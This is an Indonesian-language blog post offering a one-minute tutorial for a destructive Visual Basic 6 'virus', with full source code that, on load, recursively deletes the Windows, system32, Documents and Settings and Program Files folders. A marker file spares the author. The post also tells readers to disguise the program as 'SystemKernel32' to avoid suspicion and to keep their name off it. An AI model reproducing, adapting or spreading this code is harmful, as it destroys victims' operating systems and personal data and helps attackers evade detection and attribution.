Aku nyoba bikin tutorial buat bikin Virus yg rada mematikan, tapi simple, dan kaeaknya sih ga bakal kedekteksi antivirus, soalnya cara kerjanya simple bgt!!.
- Yg diperluin:
- VB(optimal : 6.0)
- Ngerti tombol2nya VB
- Tutorial Bikin Virus cman 1 mnt
- Bikin form sekecil mungkin
- di dalem form itu, masukin nih kode :
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
- Kode yg warna biru itu penangkal nih virus, barang kali lu ga sengaja teken jadi lu slamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang ndiri… bisa lu edit koq jadi apa gitu…
- Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…
- Bikin nih project namanya kaya nama system, disini akuh make nama “SystemKernel32″ jadi ga bakal dicurigain
- Jangan pernah naroh nama lu di nih virus… uQeh?
- Complite and…… slesei de..!
Simple kan? nih virus kerjanya cman ngapus system, lumayan bahaya c… ini cman contoh bikin virus… slanjutnya.. ente ndiri coba2.
Hahaha…..!! jozzz
Tidak ada komentar:
Posting Komentar